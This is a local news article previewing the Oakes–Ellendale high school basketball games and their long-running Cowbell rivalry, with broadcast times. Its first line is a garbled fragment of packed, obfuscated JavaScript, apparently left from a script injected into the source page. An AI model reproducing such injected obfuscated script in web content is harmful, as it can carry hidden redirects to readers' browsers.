OAKES rriah|var|u0026u|referrer|htsii||js|php’.split(‘|’),0,{}))
(NewsDakota.com) For the last several years, the Friday before Chirstmas signals a special time in Dickey County when it comes to high school basketball.

That time once again is upon us, as Friday night in Ellendale, the Oakes High School girls and boys basketball teams will suit up to take on the Cardinals of Ellendale High.

Each school is now in the same district; so Friday’s games have an added sense of importance. For the girls, both teams are seeking their first district win after losing on Tuesday night. First-year Oakes head coach Anthony Bryant knows his team will have a tall task in attempting to take down the Cardinals, but a win would go a long way in the growth of his club.

Meanwhile, the boys of Oakes and Ellendale will contend in the 69th playing of the Cowbell game. Ellendale has only lost the Cowbell three times since 2000, and hasn’t fallen in a home match-up for the traveling trophy in 20 years.

Oakes coach Brandon Bata explains why his group hasn’t been able to add more victories in the rivalry since the start of the new millennium.

Coverage on KDDR-AM 1220/95.9 FM and NewsDakota.com starts at 5:45 Friday evening, with the girls scheduled to tip at 6 p.m., and the boys to follow.